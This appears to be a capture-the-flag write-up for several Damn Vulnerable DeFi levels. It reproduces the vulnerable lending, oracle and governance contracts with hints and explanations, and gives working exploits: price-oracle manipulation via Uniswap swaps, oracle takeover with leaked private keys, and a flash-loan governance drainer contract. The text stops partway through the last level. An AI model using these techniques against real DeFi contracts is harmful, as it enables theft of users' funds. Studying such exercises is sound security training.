Challenge:
Our ninth challenge is called ‘puppet v2’ and it comes with the following prompt:
The developers of the last lending pool are saying that they've learned the lesson. And just released a new version!
Now they're using a Uniswap v2 exchange as a price oracle, along with the recommended utility libraries. That should be enough.
You start with 20 ETH and 10000 DVT tokens in balance. The new lending pool has a million DVT tokens in balance. You know what to do ;)
Once more, our mission is to drain the lending pool!
The contracts for this challenge are located in contracts/puppet-v2/. The contract source code can be found below:
PuppetV2Pool.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@uniswap/v2-periphery/contracts/libraries/UniswapV2Library.sol";
import "@uniswap/v2-periphery/contracts/libraries/SafeMath.sol";
interface IERC20 {
function transfer(address to, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
function balanceOf(address account) external returns (uint256);
}
/**
* @title PuppetV2Pool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract PuppetV2Pool {
using SafeMath for uint256;
address private _uniswapPair;
address private _uniswapFactory;
IERC20 private _token;
IERC20 private _weth;
mapping(address => uint256) public deposits;
event Borrowed(address indexed borrower, uint256 depositRequired, uint256 borrowAmount, uint256 timestamp);
constructor (
address wethAddress,
address tokenAddress,
address uniswapPairAddress,
address uniswapFactoryAddress
) public {
_weth = IERC20(wethAddress);
_token = IERC20(tokenAddress);
_uniswapPair = uniswapPairAddress;
_uniswapFactory = uniswapFactoryAddress;
}
/**
* @notice Allows borrowing `borrowAmount` of tokens by first depositing three times their value in WETH
* Sender must have approved enough WETH in advance.
* Calculations assume that WETH and borrowed token have same amount of decimals.
*/
function borrow(uint256 borrowAmount) external {
require(_token.balanceOf(address(this)) >= borrowAmount, "Not enough token balance");
// Calculate how much WETH the user must deposit
uint256 depositOfWETHRequired = calculateDepositOfWETHRequired(borrowAmount);
// Take the WETH
_weth.transferFrom(msg.sender, address(this), depositOfWETHRequired);
// internal accounting
deposits[msg.sender] += depositOfWETHRequired;
require(_token.transfer(msg.sender, borrowAmount));
emit Borrowed(msg.sender, depositOfWETHRequired, borrowAmount, block.timestamp);
}
function calculateDepositOfWETHRequired(uint256 tokenAmount) public view returns (uint256) {
return _getOracleQuote(tokenAmount).mul(3) / (10 ** 18);
}
// Fetch the price from Uniswap v2 using the official libraries
function _getOracleQuote(uint256 amount) private view returns (uint256) {
(uint256 reservesWETH, uint256 reservesToken) = UniswapV2Library.getReserves(
_uniswapFactory, address(_weth), address(_token)
);
return UniswapV2Library.quote(amount.mul(10 ** 18), reservesToken, reservesWETH);
}
}
The hints and solutions for this level can be found below:
Hint 1:
Just like the last level, this one is all about manipulating the uniswap pool. Only this time, we are using uniswap v2! What is wrong with the way the calculateDepositOfWETHRequired()
function calculates the price of the token?
Hint 2:
Useful resources:
https://uniswap.org/blog/uniswap-v2
https://docs.uniswap.org/protocol/V2/reference/smart-contracts/router-02
https://github.com/Uniswap/v2-periphery/blob/master/contracts/UniswapV2Router02.sol
https://github.com/Uniswap/v2-periphery/blob/master/contracts/libraries/UniswapV2Library.sol
Solution:
Just like last time, we can see that the loans are offered based on the value returned by a function. This time it’s the calculateDepositOfWETHRequired()
function. This in turn calls _getOracleQuote
which returns a value from UniswapV2Library.quote()
. The parameters passed into the quote are the amount of reserves of each of the WETH and DVT pair held by our uniswap v2 exchange. In the end, this return value is multipled by 3 in order to provide a collateralization requirement of 3x. When we run it through the first time, we can see that 10 WETH / 100 DVT = 0.1 * borrowAmount * 3
is our return value for calculateDepositOfWETHRequired()
. If we want to return a lower amount of WETH required, we want to manipulate the exchange pool such that there is less WETH and more DVT. Reading through the documentation and source code as linked in the above hint, we can find the perfect function to do so: swapExactTokensForETH()
. Below is the code from github:
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
override
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[path.length - 1] == WETH, 'UniswapV2Router: INVALID_PATH');
amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, address(this));
IWETH(WETH).withdraw(amounts[amounts.length - 1]);
TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]);
}
Ok, so let’s see what happens when we put in all of our attacker’s DVT.
ETH_Pool = 10
DVT_Pool = 100
Invariant = 10*100 = 1000
Fee = 10000 * 0.003 = 30 DVT
DVT_Pool = 100 + 10000 = 10100
ETH_Pool = 1000 / 10070 = 0.099 ETH
Attacker receives: 10 - 0.099 ETH = 9.901 ETH
Attacker ETH balance: 29.901
Attacker DVT balance: 0
calculateDepositOfWETHRequired() = 0.099/10070 = 0.00000983118 * 3 = 0.00002949354
depositOfWETH Required = tokenAmount * 0.00002949354
if tokenAmount = 1000000, depositOfWETH Required = 1000000 * 0.00002949354 = 29.49 WETH
Performing the swap with all of our tokens, we can see that we will be left with more ETH than is required to drain the entire lending pool of DVT. We will, however, have to remember to convert the ETH to WETH, but then we can call borrow()
with the tokenAmount of 1000000 and we will obtain all of the funds of the lending pool!
Ethers Solution:
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
let deadline = (await ethers.provider.getBlock('latest')).timestamp * 2
await this.token.connect(attacker).approve(this.uniswapRouter.address,ATTACKER_INITIAL_TOKEN_BALANCE);
await this.uniswapRouter.connect(attacker).swapExactTokensForETH(ATTACKER_INITIAL_TOKEN_BALANCE, 1, [this.token.address,this.weth.address], attacker.address, deadline);
await this.weth.connect(attacker).deposit({value: ethers.utils.parseEther('29.5')})
await this.weth.connect(attacker).approve(this.lendingPool.address,ethers.utils.parseEther('30'));
await this.lendingPool.connect(attacker).borrow(POOL_INITIAL_TOKEN_BALANCE);
});
Challenge:
Our eighth challenge is called ‘puppet’ and it comes with the following prompt:
There's a huge lending pool borrowing Damn Valuable Tokens (DVTs), where you first need to deposit twice the borrow amount in ETH as collateral. The pool currently has 100000 DVTs in liquidity.
There's a DVT market opened in an Uniswap v1 exchange, currently with 10 ETH and 10 DVT in liquidity.
Starting with 25 ETH and 1000 DVTs in balance, you must steal all tokens from the lending pool.
Once more, our mission is to drain the lending pool!
The contracts for this challenge are located in contracts/puppet/. The contract source code can be found below:
PuppetPool.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../DamnValuableToken.sol";
/**
* @title PuppetPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract PuppetPool is ReentrancyGuard {
using Address for address payable;
mapping(address => uint256) public deposits;
address public immutable uniswapPair;
DamnValuableToken public immutable token;
event Borrowed(address indexed account, uint256 depositRequired, uint256 borrowAmount);
constructor (address tokenAddress, address uniswapPairAddress) {
token = DamnValuableToken(tokenAddress);
uniswapPair = uniswapPairAddress;
}
// Allows borrowing `borrowAmount` of tokens by first depositing two times their value in ETH
function borrow(uint256 borrowAmount) public payable nonReentrant {
uint256 depositRequired = calculateDepositRequired(borrowAmount);
require(msg.value >= depositRequired, "Not depositing enough collateral");
if (msg.value > depositRequired) {
payable(msg.sender).sendValue(msg.value - depositRequired);
}
deposits[msg.sender] = deposits[msg.sender] + depositRequired;
// Fails if the pool doesn't have enough tokens in liquidity
require(token.transfer(msg.sender, borrowAmount), "Transfer failed");
emit Borrowed(msg.sender, depositRequired, borrowAmount);
}
function calculateDepositRequired(uint256 amount) public view returns (uint256) {
return amount * _computeOraclePrice() * 2 / 10 ** 18;
}
function _computeOraclePrice() private view returns (uint256) {
// calculates the price of the token in wei according to Uniswap pair
return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
}
/**
... functions to deposit, redeem, repay, calculate interest, and so on ...
*/
}
The hints and solutions for this level can be found below:
Hint 1:
As I’m sure you’re realizing, this level is all about manipulating the uniswap v1 pool. What is wrong with the way the _computeOraclePrice() function calculates the price of the token? (hint: read up on uniswap v1 if you are unsure how the exchange’s balances can be changed)
Hint 2:
https://hackmd.io/@HaydenAdams/HJ9jLsfTz#ETH-%E2%87%84-ERC20-Trades
https://github.com/Uniswap/v1-contracts/blob/master/contracts/uniswap_exchange.vy
Solution:
Right away, we can see that the loans are offered based on the value returned by the _computeOraclePrice()
function. Digging into that function a little bit, we can see that if we can alter the ratio of the exchange’s ether balance to DVT balance, we can greatly affect the collateral requirements for the loan. This is where you have to dig into uniswap v1 to understand its swap mechanism and understand how to interact with the deployed exchange contract. What we do know on the surface is that we want to decrease the amount of ETH in the contract and increase the amount of DVT in the contract to benefit us. Reading through the documentation, you should be able to discover the tokenToEthSwapInput()
function. This is excatly what we can use to perform our actions. Below is the code from github:
def tokenToEthSwapInput(tokens_sold: uint256, min_eth: uint256(wei), deadline: timestamp) -> uint256(wei):
return self.tokenToEthInput(tokens_sold, min_eth, deadline, msg.sender, msg.sender)
def tokenToEthInput(tokens_sold: uint256, min_eth: uint256(wei), deadline: timestamp, buyer: address, recipient: address) -> uint256(wei):
assert deadline >= block.timestamp and (tokens_sold > 0 and min_eth > 0)
token_reserve: uint256 = self.token.balanceOf(self)
eth_bought: uint256 = self.getInputPrice(tokens_sold, token_reserve, as_unitless_number(self.balance))
wei_bought: uint256(wei) = as_wei_value(eth_bought, 'wei')
assert wei_bought >= min_eth
send(recipient, wei_bought)
assert self.token.transferFrom(buyer, self, tokens_sold)
log.EthPurchase(buyer, tokens_sold, wei_bought)
return wei_bought
Let’s see what happens if we put in all of our attacker’s DVT.
ETH_Pool = 10
DVT_Pool = 10
invariant = 10*10 = 100
Fee = 1000 * 0.003 = 3 DVT
DVT_Pool = 10 + 1000 = 1010
ETH_Pool = 100 / (1007) = 0.0993 ETH
Attacker receives: 10 - 0.0993 ETH = 9.9007 ETH
Attacker ETH balance: 34.9007
Attacker DVT balance: 0
_computeOraclePrice() = 0.0993 / 1010 = 0.00009831683 * 2 = 0.00019663366
borrowAmount = 100000 * 0.00019663366 = 19.66 ETH
So, if we perform the swap with all of our tokens to augment the exchange ratio in our favor, we can see that we will be left with far more ETH than is required to drain the entire lending pool of DVT. We can then call borrow()
with a msg.value greater than 19.66 ETH and we will obtain all of the funds of the lending pool!
Ethers Solution:
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
let deadline = (await ethers.provider.getBlock('latest')).timestamp * 2
await this.token.connect(attacker).approve(this.uniswapExchange.address,ATTACKER_INITIAL_TOKEN_BALANCE);
await this.uniswapExchange.connect(attacker).tokenToEthSwapInput(ATTACKER_INITIAL_TOKEN_BALANCE.sub(1), 1, deadline);
await this.lendingPool.connect(attacker).borrow(POOL_INITIAL_TOKEN_BALANCE, {value: ethers.utils.parseEther('20')});
});
Challenge:
Our seventh challenge is called ‘compromised’ and it comes with the following prompt:
While poking around a web service of one of the most popular DeFi projects in the space, you get a somewhat strange response from their server. This is a snippet:
HTTP/2 200 OK
content-type: text/html
content-language: en
vary: Accept-Encoding
server: cloudflare
4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35
4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34
A related on-chain exchange is selling (absurdly overpriced) collectibles called "DVNFT", now at 999 ETH each
This price is fetched from an on-chain oracle, and is based on three trusted reporters: 0xA73209FB1a42495120166736362A1DfA9F95A105,0xe92401A4d3af5E446d93D11EEc806b1462b39D15 and 0x81A5D6E50C214044bE44cA0CB057fe119097850c.
Starting with only 0.1 ETH in balance, you must steal all ETH available in the exchange.
Looks like we have to find a way to steal from the exchange.
The contracts for this challenge are located in contracts/compromised/. The contract source code can be found below:
Exchange.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./TrustfulOracle.sol";
import "../DamnValuableNFT.sol";
/**
* @title Exchange
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract Exchange is ReentrancyGuard {
using Address for address payable;
DamnValuableNFT public immutable token;
TrustfulOracle public immutable oracle;
event TokenBought(address indexed buyer, uint256 tokenId, uint256 price);
event TokenSold(address indexed seller, uint256 tokenId, uint256 price);
constructor(address oracleAddress) payable {
token = new DamnValuableNFT();
oracle = TrustfulOracle(oracleAddress);
}
function buyOne() external payable nonReentrant returns (uint256) {
uint256 amountPaidInWei = msg.value;
require(amountPaidInWei > 0, "Amount paid must be greater than zero");
// Price should be in [wei / NFT]
uint256 currentPriceInWei = oracle.getMedianPrice(token.symbol());
require(amountPaidInWei >= currentPriceInWei, "Amount paid is not enough");
uint256 tokenId = token.safeMint(msg.sender);
payable(msg.sender).sendValue(amountPaidInWei - currentPriceInWei);
emit TokenBought(msg.sender, tokenId, currentPriceInWei);
return tokenId;
}
function sellOne(uint256 tokenId) external nonReentrant {
require(msg.sender == token.ownerOf(tokenId), "Seller must be the owner");
require(token.getApproved(tokenId) == address(this), "Seller must have approved transfer");
// Price should be in [wei / NFT]
uint256 currentPriceInWei = oracle.getMedianPrice(token.symbol());
require(address(this).balance >= currentPriceInWei, "Not enough ETH in balance");
token.transferFrom(msg.sender, address(this), tokenId);
token.burn(tokenId);
payable(msg.sender).sendValue(currentPriceInWei);
emit TokenSold(msg.sender, tokenId, currentPriceInWei);
}
receive() external payable {}
}
TrustfulOracle.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
/**
* @title TrustfulOracle
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
* @notice A price oracle with a number of trusted sources that individually report prices for symbols.
* The oracle's price for a given symbol is the median price of the symbol over all sources.
*/
contract TrustfulOracle is AccessControlEnumerable {
bytes32 public constant TRUSTED_SOURCE_ROLE = keccak256("TRUSTED_SOURCE_ROLE");
bytes32 public constant INITIALIZER_ROLE = keccak256("INITIALIZER_ROLE");
// Source address => (symbol => price)
mapping(address => mapping (string => uint256)) private pricesBySource;
modifier onlyTrustedSource() {
require(hasRole(TRUSTED_SOURCE_ROLE, msg.sender));
_;
}
modifier onlyInitializer() {
require(hasRole(INITIALIZER_ROLE, msg.sender));
_;
}
event UpdatedPrice(
address indexed source,
string indexed symbol,
uint256 oldPrice,
uint256 newPrice
);
constructor(address[] memory sources, bool enableInitialization) {
require(sources.length > 0);
for(uint256 i = 0; i < sources.length; i++) {
_setupRole(TRUSTED_SOURCE_ROLE, sources[i]);
}
if (enableInitialization) {
_setupRole(INITIALIZER_ROLE, msg.sender);
}
}
// A handy utility allowing the deployer to setup initial prices (only once)
function setupInitialPrices(
address[] memory sources,
string[] memory symbols,
uint256[] memory prices
)
public
onlyInitializer
{
// Only allow one (symbol, price) per source
require(sources.length == symbols.length && symbols.length == prices.length);
for(uint256 i = 0; i < sources.length; i++) {
_setPrice(sources[i], symbols[i], prices[i]);
}
renounceRole(INITIALIZER_ROLE, msg.sender);
}
function postPrice(string calldata symbol, uint256 newPrice) external onlyTrustedSource {
_setPrice(msg.sender, symbol, newPrice);
}
function getMedianPrice(string calldata symbol) external view returns (uint256) {
return _computeMedianPrice(symbol);
}
function getAllPricesForSymbol(string memory symbol) public view returns (uint256[] memory) {
uint256 numberOfSources = getNumberOfSources();
uint256[] memory prices = new uint256[](numberOfSources);
for (uint256 i = 0; i < numberOfSources; i++) {
address source = getRoleMember(TRUSTED_SOURCE_ROLE, i);
prices[i] = getPriceBySource(symbol, source);
}
return prices;
}
function getPriceBySource(string memory symbol, address source) public view returns (uint256) {
return pricesBySource[source][symbol];
}
function getNumberOfSources() public view returns (uint256) {
return getRoleMemberCount(TRUSTED_SOURCE_ROLE);
}
function _setPrice(address source, string memory symbol, uint256 newPrice) private {
uint256 oldPrice = pricesBySource[source][symbol];
pricesBySource[source][symbol] = newPrice;
emit UpdatedPrice(source, symbol, oldPrice, newPrice);
}
function _computeMedianPrice(string memory symbol) private view returns (uint256) {
uint256[] memory prices = _sort(getAllPricesForSymbol(symbol));
// calculate median price
if (prices.length % 2 == 0) {
uint256 leftPrice = prices[(prices.length / 2) - 1];
uint256 rightPrice = prices[prices.length / 2];
return (leftPrice + rightPrice) / 2;
} else {
return prices[prices.length / 2];
}
}
function _sort(uint256[] memory arrayOfNumbers) private pure returns (uint256[] memory) {
for (uint256 i = 0; i < arrayOfNumbers.length; i++) {
for (uint256 j = i + 1; j < arrayOfNumbers.length; j++) {
if (arrayOfNumbers[i] > arrayOfNumbers[j]) {
uint256 tmp = arrayOfNumbers[i];
arrayOfNumbers[i] = arrayOfNumbers[j];
arrayOfNumbers[j] = tmp;
}
}
}
return arrayOfNumbers;
}
}
TrustfulOracleInitializer.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./TrustfulOracle.sol";
/**
* @title TrustfulOracleInitializer
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract TrustfulOracleInitializer {
event NewTrustfulOracle(address oracleAddress);
TrustfulOracle public oracle;
constructor(
address[] memory sources,
string[] memory symbols,
uint256[] memory initialPrices
)
{
oracle = new TrustfulOracle(sources, true);
oracle.setupInitialPrices(sources, symbols, initialPrices);
emit NewTrustfulOracle(address(oracle));
}
}
The hints and solutions for this level can be found below:
Hint 1:
https://vomtom.at/ethereum-private-and-public-keys/
Hint 2:
https://gchq.github.io/CyberChef/
Hint 3:
What do you get when you translate the hex to utf-8 and then base64 decode it? Answer
Solution:
The biggest hurdle for this challenge to overcome is figuring out what the HTTP response contains. Once we figure that out, the rest comes down to implementing our exploit. The HTTP response contains two long hex strings. If we throw it in cyber chef using the magic recipe (the decode path looks like this: Hex -> UTF-8 -> Base64), we see that it contains a 64 character hex string. Interestingly enough, this is the exact length of an Ethereum key. Looking at the contract source code for this challenge, we can tell that the exchange relies on a median price as retrieved a trusted oracle. This median price is taken from 3 trusted sources. In other words, if we can manipulate two of the sources then we can arbitrarily change the exchange’s price for an NFT to whatever we want. It would be really convenient if we could sign transactions on behalf of two of the trusted sources.. As it turns out, we do in fact have the private key to two of the trusted sources and we can complete this challenge. Using this, we can set the price of the NFT to 0, allowing our attacker to buy one for a very small amount. Then, before our attacker goes to resell the NFT, we can set the price of that NFT to the exchange’s balance of ETH. Now our attacker has all of the ETH the exchange started with and we have completed the challenge.
Ethers Solution:
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
trusted_source1 = await new ethers.Wallet('0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9', ethers.provider);
trusted_source2 = await new ethers.Wallet('0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48', ethers.provider);
await this.oracle.connect(trusted_source1).postPrice("DVNFT",0);
await this.oracle.connect(trusted_source2).postPrice("DVNFT",0);
my_token = await this.exchange.connect(attacker).buyOne({ value: ethers.utils.parseUnits("0.1", 17)});
const tw = await my_token.wait();
const event = tw.events.find(event => event.event === 'TokenBought');
const [from, tok, value] = event.args;
await this.oracle.connect(trusted_source1).postPrice("DVNFT",EXCHANGE_INITIAL_ETH_BALANCE.toString());
await this.oracle.connect(trusted_source2).postPrice("DVNFT",EXCHANGE_INITIAL_ETH_BALANCE.toString());
await this.nftToken.connect(attacker).approve(this.exchange.address, tok);
await this.exchange.connect(attacker).sellOne(tok);
await this.oracle.connect(trusted_source1).postPrice("DVNFT",INITIAL_NFT_PRICE.toString());
await this.oracle.connect(trusted_source2).postPrice("DVNFT",INITIAL_NFT_PRICE.toString());
});
Challenge:
Our sixth challenge is called ‘selfie’ and it comes with the following prompt:
A new cool lending pool has launched! It's now offering flash loans of DVT tokens.
Wow, and it even includes a really fancy governance mechanism to control it.
What could go wrong, right ?
You start with no DVT tokens in balance, and the pool has 1.5 million. Your objective: take them all.
So all we have to do is drain the lending pool!
The contracts for this challenge are located in contracts/selfie/. The contract source code can be found below:
SelfiePool.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Snapshot.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "./SimpleGovernance.sol";
/**
* @title SelfiePool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract SelfiePool is ReentrancyGuard {
using Address for address;
ERC20Snapshot public token;
SimpleGovernance public governance;
event FundsDrained(address indexed receiver, uint256 amount);
modifier onlyGovernance() {
require(msg.sender == address(governance), "Only governance can execute this action");
_;
}
constructor(address tokenAddress, address governanceAddress) {
token = ERC20Snapshot(tokenAddress);
governance = SimpleGovernance(governanceAddress);
}
function flashLoan(uint256 borrowAmount) external nonReentrant {
uint256 balanceBefore = token.balanceOf(address(this));
require(balanceBefore >= borrowAmount, "Not enough tokens in pool");
token.transfer(msg.sender, borrowAmount);
require(msg.sender.isContract(), "Sender must be a deployed contract");
msg.sender.functionCall(
abi.encodeWithSignature(
"receiveTokens(address,uint256)",
address(token),
borrowAmount
)
);
uint256 balanceAfter = token.balanceOf(address(this));
require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
}
function drainAllFunds(address receiver) external onlyGovernance {
uint256 amount = token.balanceOf(address(this));
token.transfer(receiver, amount);
emit FundsDrained(receiver, amount);
}
}
SimpleGovernance.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../DamnValuableTokenSnapshot.sol";
import "@openzeppelin/contracts/utils/Address.sol";
/**
* @title SimpleGovernance
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract SimpleGovernance {
using Address for address;
struct GovernanceAction {
address receiver;
bytes data;
uint256 weiAmount;
uint256 proposedAt;
uint256 executedAt;
}
DamnValuableTokenSnapshot public governanceToken;
mapping(uint256 => GovernanceAction) public actions;
uint256 private actionCounter;
uint256 private ACTION_DELAY_IN_SECONDS = 2 days;
event ActionQueued(uint256 actionId, address indexed caller);
event ActionExecuted(uint256 actionId, address indexed caller);
constructor(address governanceTokenAddress) {
require(governanceTokenAddress != address(0), "Governance token cannot be zero address");
governanceToken = DamnValuableTokenSnapshot(governanceTokenAddress);
actionCounter = 1;
}
function queueAction(address receiver, bytes calldata data, uint256 weiAmount) external returns (uint256) {
require(_hasEnoughVotes(msg.sender), "Not enough votes to propose an action");
require(receiver != address(this), "Cannot queue actions that affect Governance");
uint256 actionId = actionCounter;
GovernanceAction storage actionToQueue = actions[actionId];
actionToQueue.receiver = receiver;
actionToQueue.weiAmount = weiAmount;
actionToQueue.data = data;
actionToQueue.proposedAt = block.timestamp;
actionCounter++;
emit ActionQueued(actionId, msg.sender);
return actionId;
}
function executeAction(uint256 actionId) external payable {
require(_canBeExecuted(actionId), "Cannot execute this action");
GovernanceAction storage actionToExecute = actions[actionId];
actionToExecute.executedAt = block.timestamp;
actionToExecute.receiver.functionCallWithValue(
actionToExecute.data,
actionToExecute.weiAmount
);
emit ActionExecuted(actionId, msg.sender);
}
function getActionDelay() public view returns (uint256) {
return ACTION_DELAY_IN_SECONDS;
}
/**
* @dev an action can only be executed if:
* 1) it's never been executed before and
* 2) enough time has passed since it was first proposed
*/
function _canBeExecuted(uint256 actionId) private view returns (bool) {
GovernanceAction memory actionToExecute = actions[actionId];
return (
actionToExecute.executedAt == 0 &&
(block.timestamp - actionToExecute.proposedAt >= ACTION_DELAY_IN_SECONDS)
);
}
function _hasEnoughVotes(address account) private view returns (bool) {
uint256 balance = governanceToken.getBalanceAtLastSnapshot(account);
uint256 halfTotalSupply = governanceToken.getTotalSupplyAtLastSnapshot() / 2;
return balance > halfTotalSupply;
}
}
The hints and solutions for this level can be found below:
Hint 1:
Yet another flash loan. How can we abuse the flash loan to take over the governance? Hint: how are votes calculated?
Hint 2:
We can call the snapshot()
function on the governance token at any time to record the balance of our attacker contract as well as the total supply.
Hint 3:
We can use the flash loan to queue up an action. When we later activate the action from our attacker contract, who is the msg.sender
for the executed action?
Solution:
The flash loan allows us to temporarily borrow a huge number of governance tokens. During the flash loan, and while the governance tokens are still in our posession, we can call snapshot()
to record the balance of our attacker contract and the current total supply. This is later used to check that we have enought votes to perform the queueAction()
. We can now queue an action that will be a call to the drainAllFunds()
function. With the action queued, we can repay our flash loan and wait the requried time of two days to execute our action. Notably, we will call into the governance contract in order to execute the action, which will in turn make an external call using our provided calldata (a call to the drainAllFunds()
function). Whenever a regular (non delegating) external call is made, the msg.sender
will be the calling contract. This is key, because this is how we can bypass the onlyGovernance modifier. Finally, executeAction()
will call drainAllFunds()
with the attacker address as a parameter and then all of the funds from the SelfiePool contract will be sent to the attacker and we have completed the challenge.
Ethers Solution:
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
const SelfiePoolAttackFactory = await ethers.getContractFactory('SelfiePoolDrainer', deployer);
this.s_attacker = await SelfiePoolAttackFactory.deploy(this.pool.address, this.governance.address, this.token.address);
await this.s_attacker.attack(TOKENS_IN_POOL, attacker.address);
await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]);
await this.s_attacker.payAttacker();
});
Contract Solution:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @title SelfiePoolDrainer.sol
* @author securerodd
*/
interface ISelfiePool {
function flashLoan(uint256) external;
}
interface ISimpleGovernance {
function queueAction(address, bytes calldata, uint256) external returns (uint256);
function executeAction(uint256) external;
}
interface IGovToken {
function snapshot() external;
function transfer(address, uint256) external;
}
contract SelfiePoolDrainer {
ISelfiePool public pool;
ISimpleGovernance public simpleGov;
IGovToken public token;
address attacker;
uint256 attack_id;
constructor(address _poolAddress, address _govAddress, address _token) {
pool = ISelfiePool(_poolAddress);
simpleGov = ISimpleGovernance(_govAddress);
token = IGovToken(_token);
}
function receiveTokens(address _derp, uint256 _amount) external {
token.snapshot();
attack_id = simpleGov.queueAction(address(pool), abi.encodeWithSignature("drainAllFunds(address)", attacker), 0);
token.transfer(address(pool), _amount);
}
function payAttacker() external {
simpleGov.executeAction(attack_id);
}
function attack(uint _amount, address _attacker) external {
attacker = _attacker;
pool.flashLoan(_amount);
}
}
Challenge:
Our fifth challenge is called ‘the rewarder’ and it comes with the following prompt:
There's a pool offering rewards in tokens every 5 days for those who deposit their DVT tokens into it.
Alice, Bob, Charlie and David have already deposited some DVT tokens, and have won their rewards!
You don't have any DVT tokens. But in the upcoming round, you must claim most rewards for yourself.
Oh, by the way, rumours say a new pool has just landed on mainnet. Isn't it offering DVT tokens in flash loans?
So all we have to do is drain the pool!
The contracts for this challenge are located in contracts/the-rewarder/. Due to the number of contracts, I will only include the source code for our RewarderPool:
TheRewarderPool.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./RewardToken.sol";
import "../DamnValuableToken.sol";
import "./AccountingToken.sol";
/**
* @title TheRewarderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract TheRewarderPool {
// Minimum duration of each round of rewards in seconds
uint256 private constant REWARDS_ROUND_MIN_DURATION = 5 days;
uint256 public lastSnapshotIdForRewards;
uint256 public lastRecordedSnapshotTimestamp;
mapping(address => uint256) public lastRewardTimestamps;
// Token deposited into the pool by users
DamnValuableToken public immutable liquidityToken;
// Token used for internal accounting and snapshots
// Pegged 1:1 with the liquidity token
AccountingToken public accToken;
// Token in which rewards are issued
RewardToken public immutable rewardToken;
// Track number of rounds
uint256 public roundNumber;
constructor(address tokenAddress) {
// Assuming all three tokens have 18 decimals
liquidityToken = DamnValuableToken(tokenAddress);
accToken = new AccountingToken();
rewardToken = new RewardToken();
_recordSnapshot();
}
/**
* @notice sender must have approved `amountToDeposit` liquidity tokens in advance
*/
function deposit(uint256 amountToDeposit) external {
require(amountToDeposit > 0, "Must deposit tokens");
accToken.mint(msg.sender, amountToDeposit);
distributeRewards();
require(
liquidityToken.transferFrom(msg.sender, address(this), amountToDeposit)
);
}
function withdraw(uint256 amountToWithdraw) external {
accToken.burn(msg.sender, amountToWithdraw);
require(liquidityToken.transfer(msg.sender, amountToWithdraw));
}
function distributeRewards() public returns (uint256) {
uint256 rewards = 0;
if(isNewRewardsRound()) {
_recordSnapshot();
}
uint256 totalDeposits = accToken.totalSupplyAt(lastSnapshotIdForRewards);
uint256 amountDeposited = accToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards);
if (amountDeposited > 0 && totalDeposits > 0) {
rewards = (amountDeposited * 100 * 10 ** 18) / totalDeposits;
if(rewards > 0 && !_hasRetrievedReward(msg.sender)) {
rewardToken.mint(msg.sender, rewards);
lastRewardTimestamps[msg.sender] = block.timestamp;
}
}
return rewards;
}
function _recordSnapshot() private {
lastSnapshotIdForRewards = accToken.snapshot();
lastRecordedSnapshotTimestamp = block.timestamp;
roundNumber++;
}
function _hasRetrievedReward(address account) private view returns (bool) {
return (
lastRewardTimestamps[account] >= lastRecordedSnapshotTimestamp &&
